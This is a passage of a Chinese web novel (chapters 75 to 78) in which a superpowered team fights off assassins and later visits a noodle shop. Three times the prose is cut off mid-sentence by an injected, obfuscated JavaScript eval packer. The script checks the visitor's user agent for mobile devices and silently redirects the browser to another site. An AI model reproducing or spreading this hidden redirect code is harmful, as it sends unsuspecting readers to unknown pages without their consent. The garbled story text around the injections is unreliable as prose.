新队友卫崧一整天都泡在训练室里没露面,也听不见什么动静。季渊知向系统确认他还活着没出什么意外,才放心离开基地。 上车后季渊知将手动将车速切换至中档才确认出发。 她不喜欢超高速行驶。看不清四周环境的变化会让她没有安全感,不能时时确认自己被带去了什么地方。 季渊知靠在椅背闭目养神,吹着夜风呼吸新鲜空气,干净镜片上映着流动的灯光星河。 不知是不是因为台风季快到了,晚上的夏风开始掺着丝丝清凉。 大约五分钟后,她薄薄的眼皮掀开一条缝,笼罩在阴影中的眼珠往侧边偏移。 在反射的光晕的遮挡下,她面无表情望着后视镜照出的那辆一直远远跟着自己的黑色小车,若有所思。 接着,她打开背包翻找东西,边问系统:“这附近有比较偏僻空旷的地方吗?” 系统马上说出了一处位置。 于是季渊知临时改变目的地,凭着手头有的材料工具有条不紊地准备起来,不忘时不时瞥一眼后方来车的距离。 没过多久,微系统里弹出一条语音,姜韫的话从其中传出,背景是枪声和急匆匆的脚步声。 “反派又袭击行动组了,目标不止一人,你们都注意戒备。” 刚听完这句提醒,季渊知就因急刹车而猛地前倾贴在副驾椅背后面。 所幸她及时侧过身护紧了手中的东西和背包,才没有把东西磕碰坏。 是尾随的黑车漂移追上来了,它超过季渊知的车横在路中央,明目张胆地逼停。 不是它,是它们,一排排黑车蟑螂似的从后面冷清公路的尽头冒出,朝这儿飞窜过来。 季渊知神情更凝重,但仍然沉得住气。 她把东西一样样快速收好,摇头念叨:“还不到时候,这里位置不好。” 智能驾驶被研发者设定了规避风险的程序,无法人为改变用以违法犯罪,但系统能越过指令直接操纵这些设备做任何事。 于是季渊知轻飘飘扔出几个字:“莽过去吧,目的地不变。” “那你可要坐稳了。”系统没有多问什么。 闻言,季渊知低声笑了笑。 她一手将包压在怀里抱好,另一手覆在副驾驶座椅背上,五指微屈按实,上半身前倾,停在最平衡稳定的姿势。 “你放心冲,我可是过山车海盗船跳楼机的常客。” “是吗?真看不出来。” 下一刻,原本安静不动的白车如弹簧般冲向前方,猛烈撞飞黑车。 破开阻碍清出道路后,白车在撞击余震中左右摇摆,慢慢稳住车身加速逃离,如流星划过,隐入夜色。 四面屏幕漂浮在空中,播放着不同的实时画面。 很快其中一面屏幕里传出说话声。 “文哥,各队都开始行动了。” 黑暗中烟头的红光随着嘴唇张合而闪烁,又模糊于萦绕的烟雾中。 “嗯,依照现场情况灵活行事,不必手下留情,保证不会出岔子的情况下能留活口更好。” “是。” 黑影靠在墙上,眯起眼冷哼,喃喃自语。 “我倒要看看你们的本事有多大。” 谭誉道扶着女生缓慢穿过第一道巷子。 短短一段路,他已经看见两个喷在墙上的“危”字了,红漆刺眼,显然是新写不久的。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167915|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近危房好像越来越多了。”他随口说道。 女生抿着苍白的嘴唇嗤笑:“还不是那些有钱人搞的鬼,故意建造不合格的房子,等房子出问题了,就能把更多普通人赶去地下城住。” “地面空旷了,有钱人就能建更大更漂亮的豪宅,建更多奢华的娱乐场所享乐,不会因为看见穷酸老百姓的狼狈样而长针眼。” 谭誉道听着她变得尖锐的讥讽语气,便顺着搭了几句话,慢慢转移话题,不说这些让她不痛快的事情。 没多久,姜韫的警告信息就从脑海中弹出。 已经被带着走进小巷中段的谭誉道一怔,骤然意识到不妙。 他条件反射地移动脚步拉开距离,视线迅速往下扫,就瞥见了刀刃白光一闪而过,无声没入皮肉。 “砰!” 秦观秋捂着受伤的胳膊翻越栏杆跳下一层层楼梯,甩开杀手一段距离后找了个遮蔽物暂时躲藏。 她思考着该怎么处理这群人,边回复姜韫:“你现在在哪儿?” 她今天和姜韫一起来到天泊区的这片郊区查天祐研究院秘密基地的线索,因为范围较大两人便决定分头行动,结果不过半小时就出了紧急情况。 也不知道那些人跟踪她们多久才等到这逐个击破的机会。 真是没完没了,秦观秋不禁火大,心想等抓到反派她绝对要先揪着人暴打一顿泄恨。 把头发重新绑紧后,思绪也整理得差不多了,秦观秋数清剩余的子弹,转转手腕甩甩胳膊,准备主动跳出去现身明面,开始反击。 也正是这时,她才留意到胳膊上的枪伤正在冒黑血,伤口周围一圈的皮肤泛起不正常的青紫。 秦观秋呼吸一滞,没想到情况比她预想的更糟糕。 子弹涂了毒。 “砰!” 电击弹擦着燕逸岫短袖袖口飞过,扎进前方墙里,瞬间爆出一道灼目白光,呲呲作响,直接将墙壁劈黑一片。 烧焦气味飘散开来。 燕逸岫不断调整呼吸,脚步不停,目光飞快扫视四周寻找躲避的地方,两腿甩得几乎要离地飞起来。 虽然早就做好了心理准备,但显然还是做少了。 对方不仅人多,包围紧密,还用上了各种花里胡哨的武器。 更麻烦的是,反派的目标居然不止她一个。 现在大家分散各处,齐陷险境,自顾不暇,完全没法脱身赶到队友身边协助。 子弹本就速度快,带雷击效果助燃效果的更是吓人,一着不慎就会被对方弄残整死。 虽然她有预判异能,但被困在楼中一直闪躲只会白白耗费体力,拖延时间,况且她也不希望这项异能过早暴露,被反派研究出什么对策。 所以必须颠倒攻守形势重新占据上风才行。 燕逸岫假装惊慌失措绊了一跤,弯腰前倾踉跄几步,顺势躲开了冲着心脏位置而来的下一颗子弹。 她跑酷似的绕了一大圈以身试险后,整栋大楼的格局、敌人的位置分布、反应速度和持有的武器类型总算是摸了个大概补充完整。 这些信息在燕逸岫脑海里组合形成立体模型,旋转着不断放大缩小。 她得赶紧找到突破口拆掉固若金汤的包围,解决完这里的麻烦去和队友汇合。 思考间,下一波电击弹几乎同时从四面八方发射,直指燕逸岫的脑袋。 一声巨响,子弹打在了本就坑坑洼洼的车门上。 “慌不择路”逃到偏僻郊区的季渊知弃车开始狂奔。 车身和轮胎被对方的机关枪扫射成筛子,彻底报废了,留在里面就是死路一条。 虽然没撑到最佳目的地,但这里也算空旷,只能凑合凑合了。 她闪身躲到假山后面,借夜色遮蔽探出一点点视线观察,看到二三十个杀手端着枪逼近,无声无息地迅速缩小包围圈。 人数超出她的预估,恐怕有点麻烦了。 “系统,再帮我个忙。” 季渊知抬手摘下眼镜,不太适应地虚虚眯眼,这一动,眸中的冷锐细光一晃而过。 姜韫从暗处飘出晃到杀手背后,弯臂紧扣,另一手按在对方脑袋上,干脆利落扭了他的脖子,夺走武器。 其他杀手正在别处搜寻,还没接近这里,姜韫总算得到短暂的休息时间,重新躲回角落整理现下情况。 易了容在炎穆帮卧底的温簌还有宅在家查案的乔琅、廖怀霖目前平安无事,其她人都在被追杀,也及时汇报了自己目前的情况,除了…… 姜韫打开屏幕查看安全监测数据,眉头紧皱。 因为忧虑着队友安危,她没有注意到远处高楼里的一个枪口已经瞄准了她的心脏。 姜韫盯着其中一个电子小人。 它已经从健康的绿色变成了危险的橙黄色,似乎还在逐渐转红,说明受监测对象的生命体征正逐渐流失。 她打给谭誉道的电话始终无人接听。 “嘟——嘟——” 咔哒。 通讯连接上了。 “怎么样?” 电话那头的声音满是焦急慌乱,磕磕巴巴地报告情况。 “文哥,她、她不见了!” “不见?什么意思?” “就那个短头发的女的,跑着跑着就凭空消失了!我们怎么都找不到她!” 76. 老娘不用枪照样弄死你们 “你在说什么?就一栋废弃大楼,空荡荡的怎么会跑不见?一个个都瞎了吗?她又不是超人会飞!” “可是我们……” 话音未落,另一面屏幕那头突然传来一声巨响,震得似乎连虚拟屏都颤抖了几下。 “什么动静?爆炸?C队,怎么回事?” 似乎有人在咆哮呼喊,然而这点声音混在轰鸣声里根本听不清楚。 “爆炸了,怎么会有炸弹?这是什么情况!” 正报告燕逸岫消失情况的D队成员更慌乱了,再次东张西望,怀疑自己这儿某个角落也藏着这杀伤力极大的武器。 埋伏于暗处的燕逸岫捕捉到那几个字词,也感到诧异。 炸弹是意料之外的情况,并非反派安排,这就表示…… 在她印象中只有一个人能做得到。 “哪来的……” 又是一声更大的巨响。 队长的芯片被炸毁,其他队员也都联系不上,C队通讯彻底断了,霎时归为寂静。 只有爆炸声似乎还回响在每个人的耳边,嗡嗡余震萦绕。 飞扬的尘土窸窸窣窣坠落满地,万物沉寂不动。不一会儿,废墟中的一个小点开始移动。 季渊知捂着耳朵从角落站起。 虽然她拜托系统为她的耳朵开一层静音屏障防止被炸聋,但她还是不大放心地用自己的手堵住,再加一层保护。 她抖抖头发和衣服上的沙土黑灰,把安置在兜里保护得干干净净的眼镜取出来重新戴上,开启夜视功能。 视线清晰后,她走出去俯身观察满地的血肉模糊,沉吟片刻:“不好意思,比例配得不够准,威力比我预估的大太多了,没想到没给你们留半具全尸。” “体谅一下,毕竟制作炸弹这门技术我才自学了半天。” 以及这两管炸药是在车上匆忙配置安装的,技术粗糙出现失误也是在所难免。 解析毒药忙了好几天,多多少少会有些疲倦,于是季渊知就想了个比较提神醒脑的研究主题,比如炸药,用于休息时玩一玩放松。 今天她带了些用得上的成分离开基地,本打算回家之后继续研究如何调整才能将效果控制得更精确,没想到这么快就派上用场了。 季渊知谨慎地走了一圈,检查是否还有幸运活口需要补刀,边捡了几个黑衣人被炸飞的芯片当作证据放进兜里,准备带回去看看能不能检查出什么线索来。 确认杀手队伍全部阵亡后,她一脚踢开挡路的粘腻残躯往外走,去呼吸呼吸新鲜空气,等系统新派的车来接她。 “我这边安全了,”季渊知给队友们发去语音,“你们在哪儿?我过去和你们汇合?” 剩余材料还够做一管威力小点的炸弹,可以千里加急送去添个buff。 “头儿,她们居然有炸弹,这可怎么办?”D队队长忧心忡忡问道。 隐在黑暗中的人冷哼一声:“其他人呢?她们不可能闲得没事都带了炸药在身上,说不定只有那两个而已,影响不大。” 话音落下后,屋里陷入沉寂,等了几秒仍然无人出声。 “……A队怎么都没人回答?” A队这片区域正牙齿与鼻血齐飞。 黑衣人被狠踹一脚而从四楼破窗而出,头着下坠落,重重摔在地上,四肢扭曲。 另一个黑衣人挨了一个俄式大摆拳飞出去砸在墙上,脖子发出巨大一声,彻底折断了。 他瞪着眼睛滑下来倒在地上,死不瞑目。 秦观秋在发现中毒后立刻割开手臂放血,挖出子弹,并服用万能特效药加以抑制。 为防止毒素扩散过快,中毒那边胳膊最好不做出剧烈动作,所以秦观秋将受伤手臂背在身后,只出一拳。 “只会耍阴招的阴沟里的臭老鼠,”秦观秋踩住一具尸体,不屑一顾地撇嘴,“老娘只用一边手就能把你们全揍死。” 她弯腰撕下他的衣服当布条,一圈圈缠在仍在流血的左臂上方。 简单包扎完后她捡起地上的手枪,给那些被打得动弹不得还有一口气的人挨个补了一枪,好心地结束他们的痛苦。 “砰砰砰!” 信号再次中断。 “喂?喂!怎么连D队也失联了!” 最后一名D队杀手正惊慌失措地边跑边朝四周胡乱开枪。 身旁的伙伴相继被那个鬼一样不见踪影的目标射杀,而他们始终没发现她到底在哪里。 形势彻底反转,他们成了待宰的目标。 孤身一人的恐慌和死亡来临的惊惧让杀手几乎精神崩溃。 趴在黑暗死角的燕逸岫翘起嘴角,好整以暇地再装上一排子弹,重新低头瞄准了他。 玩捉迷藏…… 她放缓呼吸,目光镇静淡漠,如埋伏的黑蛇瞄准猎物,无声吐出冰凉的芯子。 燕逸岫微移方向,瞬间扣动扳机。 没有人赢得了她。 “砰!” 望着再也没有应答的屏幕,他一拳砸在桌上,恼火得眦目欲裂,脸颊抽动,眼里悄然蔓延开好几条红血丝。 成功处理干净自己这边的危险后,燕逸岫根据先前秦观秋问出的位置出发去和姜韫汇合。 上车后她才注意到微系统里还有另外几条信息。是卫崧发来的。 她简单回了一句报平安,让他不用担心,提醒他待在基地不要外出半步。 大楼有系统的安保设备,难以破解,一旦有人试图入侵就会响警报并开启机关反击,算是十分安全的地方。 卫崧立刻回复,做了保证。 赶到姜韫所在区域,顺着定位找到人后,燕逸岫就没心思再去考虑别的事情了。 “队长!” 燕逸岫头脑瞬间一片空白,弹簧似的朝她冲过去,边让系统赶紧安排急救车过来。 她扶着人闪进不起眼的角落藏起来,坐下后仔细检查她的伤势。 两枪正中心口,还有一枪在腹部,都是极其危险的位置。 血腥味将两人密不透风地包裹住,随着呼吸愈发浓烈。 燕逸岫深感死亡迫近,觉得自己身体里的血也在凭空流失,遍体生寒。 “别担心,”姜韫咳出一口血,说话倒仍然中气十足,“我不会死的……” 燕逸岫哪会信,紧紧攥着她温热的手,本想埋怨都什么时候了还说这种鬼话安慰她,但慌得喉咙发堵,挤不出声音,眼眶发酸。 姜韫从她的动作中感觉出情绪,抹去下巴上的血迹笑道:“我没哄你,是真的,你别担心。” 她抓起燕逸岫另一边手腕,将她的手按在自己的胸口。 感受到那强有力的心跳正一下下稳稳当当顶在自己掌心,燕逸岫瞬间呆愣,还以为自己出幻觉了。 明明这个枪伤位置绝对穿透心脏了,为什么心脏却好像没事一样仍然在正常跳动。 “这是我的异能,”姜韫坦然地把自己的异能之一告诉了她,“所以死不了的。” 异能【位移】。 一旦遭遇袭击,武器接近之时,大脑感应到危险会瞬间判断出哪部分内脏骨骼会受波及,提前操控进行移动躲避,将伤害降至最轻的皮肉伤。 “所以不用担心,顶多失血量大些。” 受伤后身体各项指标骤然变化异常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183968|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体内血液也会马上自动流向最需要的地方供血,维持住基本生命体征。 听到这番话,燕逸岫心中的大石头缓慢落地。 没事就好,没事就好。她实在是无法接受队友的死亡。 得知有这种异能存在,燕逸岫随之回忆起上次姜韫受伤的情形,这才彻底了然。 难怪姜韫上次中弹会没什么大碍。 狙击枪子弹比手枪子弹大不少,杀伤力更是强了好几倍,而姜韫被击中后内脏骨头居然没有严重损伤。 她本以为是姜韫运气好奇迹般地避开了,完全没想到会是异能。 姜韫拍拍她的背安抚,没完全说实话,不想害她太过担心。 在这种情况下一般来说是死不了的,除非炸药攻击或是全身被高度密集扫射,但这项异能还有一个弱点…… 下一颗子弹悄然瞄准了姜韫的眼睛。 大脑感知不到眼睛的存在,因此无法估算危险做出相应的保护行动。 两人近距离挨在一起,燕逸岫便瞬间察觉到对方目光的存在,迅速抬头盯在了那人射击偷袭的位置,被遮挡住的右手悄悄后移握住自己的枪。 找到了。 埋伏在暗处的杀手透过瞄准镜与燕逸岫遥遥对视上,心中一惊,觉得只是巧合罢了,又赶忙收回思绪完成眼下任务。 杀手扣动扳机的同时,一道厉喝如天雷乍响。 “我来了!” 秦观秋大步冲刺出现,如天神降临。 她两脚踏在地面,引发阵阵撼动,速度又疾如风,幽灵般从两人面前急掠而过,带起的狂风差点把燕逸岫都吹歪了。 燕逸岫胡乱撇开糊到脸上挡住视线的头发,看到了子弹从她的胳膊擦过。 子弹的位置发生偏移了。 燕逸岫有些茫然,又马上抛开杂念,紧随其后拔枪准备掩护,边出声提醒:“右上方二十楼。” 很快她也就明白发生了什么。 她能感觉到有些子弹最初方向是冲着自己和姜韫来的,但最后突然全都莫名其妙瞬移落在了秦观秋身上。 秦观秋的异能是为队友挡伤。 枪击对于一般人来说都是摧毁性的损伤,但对于孔武有力最为强壮的秦观秋而言根本不算什么,更何况有异能加持,枪伤对她来说就像被狗浅咬了一口一样。 身上多了几个弹孔,但她仍然速度不减地往前冲,还掰巧克力似的顺手掰下旁边矮墙上的一块砖凑合当武器。 目测来到了有效攻击范围内,秦观秋左脚重重踩住地面扎稳底盘,胳膊腿的肌肉和青筋瞬间暴起。 她轻轻吸气蓄足力气,浓眉压出凶狠的气势。 有枪又怎样。 “老娘不用枪照样弄死你们。” 她卯足劲甩臂一挥,砖头脱手而出,势不可挡急速飞向燕逸岫确定的目标位置,几乎要和空气摩擦出火星子。 速度快到常人肉眼都捕捉不到砖头的残影。 不靠异能燕逸岫都能听见砖块顶风猛冲的呼呼作响,一路长啸,最后破开遮挡的墙壁障碍物,精准砸中杀手的头。 在燕逸岫看来是慢动作的镜头,其实仅一秒钟就已结束,迅猛得让人来不及反应。 距离隔得比较远,但燕逸岫的千里眼清楚看见了那块砖头陷进杀手的半张脸里,强势挤压碾碎。 于是皮肉破开,头骨碎裂,眼球飞出,脑浆和鲜血四溅。 燕逸岫的嘴随之张成o形,大受震撼。 和秦观秋的比起来,她那点力气算什么,这才是所向无敌的绝对力量。 如果秦观秋说要一巴掌扇死谁,她是真能一巴掌扇死谁。 77. 不要香菜 燕逸岫暗自感慨,目光重新转回秦观秋身上。 线条流畅的肌肉,小麦色的健康肤色,高高绑起的马尾,侧脸轮廓硬朗,神色坚毅,连那缠在胳膊上的破烂布条都为她平添几分英气。 狮子。燕逸岫心中一直以这一动物来形容秦观秋。 她是强大威猛的狮子,充满野性和攻击性,气势张扬,拥有压倒一切的力量,是坚实的后盾,是让她们安心的可靠队友。 完成第n杀的秦观秋拍拍手转身走回两人面前。 “你怎么来得这么晚?发生什么事了?” 姜韫觉得不对劲,明明她们俩都在这片区域,秦观秋却比从另一个区赶来的燕逸岫更晚出现。 秦观秋便也不隐瞒了,三两下拆掉布条露出伤口给她们看。 在药效控制下毒素扩散速度已经慢下来了,但还是蔓延出一大圈,皮下的深紫色像一条条血管似的爬了几厘米,十分诡异狰狞。 “先前我不是说了嘛,袭击我的那队杀手用的子弹带毒,不知道什么成分搞出来的,刚才过来时猛跑一阵差点晕过去,只能慢步走一会儿缓缓才又恢复过来。” 见姜韫脸色顿时冷下来,马上要说她中毒还不顾身体乱跑,秦观秋赶紧笑嘻嘻堵住她的话:“放心,已经让系统安排好接送的车和手术准备了,而且你看我现在好端端的,感觉良好。” 一旁的燕逸岫盯着她胳膊显出的毒发症状移不开眼。 虽然她没亲眼看见过,但昨天躲在火化间偷听情报时她听到那个年轻些的工作人员说过,天祐送来的其中一具尸体全身布满红色绿色血丝。 那描述似乎和秦观秋的中毒反应很像。 虽然不确定但不能太大意,她便这一可疑点告诉两人。 姜韫表情因此而更不好看,立刻打开屏幕检查秦观秋电子小人的颜色。 也变成橙色了,但还算稳定,比谭誉道的生命体征好多了。他的已经是橙偏红,表示情况越来越危急。 系统感知出他的定位后,姜韫就通知警方具体情况请她们派出增援,又让季渊知赶去那边帮帮忙,和警员待在一起也安全些。 “你看看你,”秦观秋啧了一声指屏幕,“黄绿色,也没好到哪里去,少训我,都是病患回去一起养伤了。” 姜韫拍开她的手,说也不看看谁更危险,毒药哪是可以不当回事的东西。 虽然现在看起来没什么大碍,也不知道会不会突然出问题或者留下什么后遗症。 趁现在车还没到,唯一一个还能活蹦乱跳的燕逸岫起身去周围的尸体那儿搜罗搜罗线索。 但她又不放心这两人,一步三回头,一动三回头,生怕一眼没瞧见就横生变故。 她火急火燎拍下杀手的面容,挖出芯片,搜身寻找其它东西,溜达一趟下来正好车到了。 上车出发后,在里头待命的机器人医生马上为姜韫和秦观秋的伤做初步处理。 姜韫使用过异能,伤情特殊,不能让外人发现,所以只能送去系统的医院让机器人医生来动手术。 燕逸岫坐在旁边安静看着两人与机器人对话的场景,顿觉宽慰多了,边发信息向询问情况的其她队友说明了大致情况,让她们放心。 “我知道逸岫有本事自保,比较放心,我本来可担心渊知了。” 秦观秋一点都不因为中毒而担心什么,还翘着二郎腿聊天:“没想到她是最先解决完杀手的,还是用炸弹,太强了。” 燕逸岫回以起初来新世界接受的系统测试,第一组就是什么物理化学题炸药毒药研制。 开局就是她不擅长的,完全无从下笔。 还有那些理化数字字母天文,多看几眼就觉得犯困。 多年不学数理化,它们还是这么催眠,最佳睡前读物的地位不可撼动。 至于配毒药和炸弹她更是想都没想过,完全不了解。 姜韫也联想到了那时:“当初第一组测试渊知就是最高分,完全是她的领域。” 说曹操曹操到,这时季渊知发来消息。 她和警员根据系统提供的定位找到了躲藏起来早已昏迷的谭誉道,已经把他送去医院特殊部门抢救,并安排警员值守保护。 “话说连天天不出现的渊知都被追杀了,是不是说明大家全暴露了?奇怪,到底是哪里出了差错。” “乔琅和怀霖目前安全,不知道是不是因为渊知去过警局几趟。” 秦观秋伸出手臂让医生注射第三支解毒药剂,边说道:“难道警局被监视了?还是说那里头有人是反派的手下?” 姜韫眯起眼思索,表情凝重地摇摇头回答:“难说,我得私下找局长聊聊了。” 三人又对了一遍各自情况。 杀手等秦观秋和队友分开才同时展开袭击,给武力值最高的秦观秋下毒削弱,还有准备多种类型武器对付擅长防御躲避的燕逸岫。 看样子反派估计已经大致摸清了她们的强项甚至异能,开始尝试针对这些能力进行攻破,实验出最有效的方法。 “对了,我听到他们喊对方‘wen哥’。”燕逸岫又补充一点。 反派名字里可能有这一发音的字,也可能是外号或道上的称呼。 安全抵达最近的系统基地后,两名伤患都被推入手术室,燕逸岫则坐在走廊椅子上等待结果。 上一次也是差不多的场景,不同的是这回只剩她孤零零一人了,连秦观秋都负伤躺在里面。 燕逸岫低下头,垂着眼帘凝视地面出神,直到机器人推着两张病床出了手术室。 它告诉燕逸岫这两位都脱离危险了,谨慎起见秦观秋还需要多观察一阵子。 麻药药效还没过,两人都睡得很熟,燕逸岫跟着医生一起送她们回病房安顿好后就再次动身,先去第一医院瞧瞧谭誉道的情况,排查周遭危险,顺便接季渊知一起回基地。 转了一圈又一圈,忙完已经是深夜了,几乎一整天没吃饭的燕逸岫饿得头晕眼花,觉得自己撑不到回基地。 这会儿季渊知正在医院的一间屋子里接受警方询问说明具体情况,没那么快结束,于是燕逸岫决定去医院附近的店里随便吃点东西垫垫肚子。 深夜时间店铺里人不会多,堂食她可以接受。 她目光转几圈,看中了其中一家小饭馆。 宽敞干净,装修朴素,最重要的是店里有一半的位置设置成偏中式的隔间样式,除非穿过走道时特意扭头往门里看,否则根本不知道里面坐着什么人。 对燕逸岫而言简直是天堂,哪还用选,犹豫一秒都是对社恐的不尊重。 绿灯亮起后她疾步穿过马路来到店外,大门感应自动开启,让客人入内。 饭馆老板听到叮铃铃的提示音,笑着抬头迎客,待看清来人,她的眼睛笑得更弯。 “还是老鸭粉丝汤吗?” 他点点头。 一旁打下手的老板丈夫说道:“今天咱们这上了新品,鸡丝辣酱面,很多客人喜欢呢,小哥要不要试试?” 他扬起淡淡的笑,不到一秒又迅速收回:“不了,还是老样子。” 老板接过机器人送来的新鲜鸭肉再过一遍水清洗,佯怒叹了口气:“真受不了你的记性,小哥老早说过了不能吃辣,你还推荐什么辣酱面。” “哎哟对对对,”老板丈夫一脸不好意思,“说不定我老年痴呆早发了,真是的,小哥快去坐吧,老鸭粉丝汤马上就给你送过去哈。” “好。” 他随便找了间隔间落座后,面馆大门再次拉开。 老板丈夫见是陌生的面容,立刻滑动大屏展示几道招牌菜:“欢迎光临!新客户有优惠券,还送小礼物!小妹看看想吃什么?” 这冲天的热情吓到燕逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然现在他已经知道了她的样貌她的身份信息,但如果不再多想想办法打探摸清底细,找出对策对付她的特殊能力,她永远都能耍得他们团团转。 燕、逸、岫。 他眼底一片阴沉沉的杀意,反复默念着这三个字,几乎快要将它们咬碎。 最后,在他不由自主差点将这个名字念出口时,机器人将他的老鸭粉丝汤送来了,瞬间打断他的思绪。 浓郁鲜咸的汤汁香味拂上脸前,躁动冒火的心也因此被安抚,逐渐平静下来。 他拿起筷子汤匙,享用国宴般认真地慢慢品尝。 热腾腾的烟萦绕眼前遮挡视线,如入梦境。 恍惚间他似乎看到了熟悉的身影坐在自己对面,滔滔不绝说着最近发生的趣事,笑得东倒西歪,笑得连粉丝都夹不起来,一次次从筷子间滑回汤里,又荡起一股浓郁香气。 燕逸岫闻到辣椒的刺激气味越发清晰,赶紧挺直背等待,心中雀跃。 不一会儿机器人端着面走进来,迅速且平稳地帮她布置好餐具,最后在桌角放上一个小盒子。 “鸡丝辣酱面已上,请慢用~” “这是新客礼物,感谢您的光临,欢迎下次再来~” 机器人屏幕上显示着荧荧发亮的笑脸表情,声情并茂说完这番话后离开隔间。 燕逸岫饿得慌,这会儿没心思好奇礼物是什么,急忙打开盖子准备炫饭,然而下一秒她的笑容就凝固住了,眼中映着一片青绿。 香菜,好多香菜。 她明明说了不要香菜。 燕逸岫顿时心碎,凶猛闹腾的饥饿感仿佛也被香菜吓得溜走,骤然从她体内消失。 经过一番激烈的心理挣扎,燕逸岫决定起身走出去和老板说说,看能不能重做一碗没有香菜的。 78. 我们可以不晒太阳 她来到隔间门边先探身观察环境。 老板正在捞面浇汁,老板丈夫正在调酱料,这会儿正好停下动作,闭上眼皱皱眉,好像在思考什么事,不一会儿就睁开了眼继续忙活。 燕逸岫近距离社交时不爱与人对视,隔着段距离了才发现他眼中的红血丝几乎布满整个眼球,一副好几天没睡觉的模样。 其她几个客人扶着碗埋头苦吃,大家都各忙各的。 燕逸岫抿唇定神,刚伸出去半步就听见面馆大门打开,五六个人进入店里,在宽敞大厅落座。 她们神情疲惫忧郁,黑眼圈一个比一个重,面馆里食物的混合浓香都没法完全覆盖她们身上的消毒水气味。 大约是亲人或朋友在住院,情况不怎么乐观。 见屋里突然多了这么多人,燕逸岫社恐发作,又慢吞吞缩回腿,满心纠结。 还去不去?要不就把香菜挑出来扔掉凑合一顿吧? 正盘算着怎么办,她听到一阵脚步声往这儿靠近,于是连忙转身回到座位摆弄筷子汤匙,假装无事发生。 老板丈夫端着一碗面走了进来,赔着笑连连道歉。 “小妹抱歉啊,我听到你说不要香菜但是我一下子漏备注上了,来来来重新煮了碗给你,不好意思啊,瞧我这记性,真对不起啊。” 另一间的“礼拜”也听到了动静,侧过头看向门外。 声音是从隔壁间传来的,在自己背后,更靠近大门。 自己在这吃了这么多年,好像从没听见过老板丈夫给客人上错菜。 他不禁想起最近留意到老板丈夫鬓边的几根新冒头的白发。 尽管他多次染黑遮掩,但白发生长速度更快,非要钻出来让人接受自己正在衰老的现实。 “啊,没事的没事的。”燕逸岫连忙低声回答,一脸不在意地摇头,边上手帮忙挪碗。 等老板丈夫出去了,她才长长松了口气,心情再度转好,甚至比一开始更轻快。 她和外面的客人一样埋头苦吃,狼吞虎咽,辣椒差点呛喉咙里了才稍稍放慢速度。 不到十分钟她就吃完了面,付好钱拿上小礼物离开。 正好季渊知发来信息说笔录结束,正搭电梯去停车场。 燕逸岫站在门外回复,说马上赶过去和她汇合。 风从对面巷子呼啸而来,正辣得微微发烫的嘴唇和冒热气的后背被吹得一阵发凉。 吃饱喝足,解决完最要紧的事,燕逸岫心思又回到任务上,她算了算日子,心情又被忧虑压得沉坠下去。 明天,她们和彭嵘的交易到期了,申天诺也即将出院。 未来又多了无数危险,她不知道自己能不能每次都赶得及。 附近没什么人,燕逸岫便伸了个长长的懒腰放松肩背,这时才意识到手里还捏着店家送的小礼物。 她边走边拆开盒子,从里面拿出一只小小的毛绒兔子玩偶,就着灯光翻来覆去端详。 燕逸岫披着橙黄的路灯灯光逐渐走远,她消失在街角的那一刻,“礼拜”从饭店走出来,也被这阵还未终止的夜风迎面吹拂,被裹挟飞来的一粒沙土迷了眼。 他转几圈眼珠,又眨眨眼,但那粒异物仍然硌在眼眶里不动,扎得生疼。 于是他抬手一下下用力揉,连眼角的小痣都被揉搓出一圈红晕,红色更红,黑色更黑。 刷啦一声,窗帘被拉开,黑暗瞬间被耀眼阳光湮没,慌张退到病房里的各种摆设底下潜伏,等待白天过去后再度侵袭。 申天诺俯视楼下的盎然绿意和来往行人,心绪不宁。 阳光让她觉得眩目,睁不开眼,但她还是固执站在那儿,觉得自己多晒晒阳光才能适应外出,才能能沾染上大家都喜欢的活人气。 住院的这段时间仿佛与世隔绝,她大部分时间都沉浸在自己的世界里,虽然身体疼痛,但心灵平静。 出院后她又将回到各种社交圈面对无数人,重新陷入各种挣扎和痛苦中。 最想要的平静得而复失,便格外忐忑,不知迷雾尽头的前途会是什么样的。 燕逸岫看得出也猜得到她心中所想,暗自叹息,又不大放心地仔细交代几句。 申天诺失去父母无家可归,最后是她的阿姨决定把她接回家照顾,帮去世的姐姐抚养孩子。 本就是内敛的孩子,今后还要寄人篱下,不知道会不会受委屈。 她的阿姨燕逸岫见过几回,是个面善温柔的人,但不知道家里其余人对于新来居住的亲戚作何反应。 听着燕逸岫念叨,申天诺竭力压下忧思,笑着应她:“姐姐放心,我会努力改变性格,在学校好好表现,也不会给阿姨家添麻烦的。” 燕逸岫忽然沉默,停下了整理画纸的动作。 几秒后,她指了指放在柜子上的绿植:“你知道我为什么要送你这个吗?” 申天诺一愣,摇摇头。 她以为这只是燕逸岫随便买的,从未想过会有什么特殊含义,毕竟那时候两人完全不认识对方,按理来说不会花太多心思挑选特别的礼物。 燕逸岫走上前捧起花盆端详。 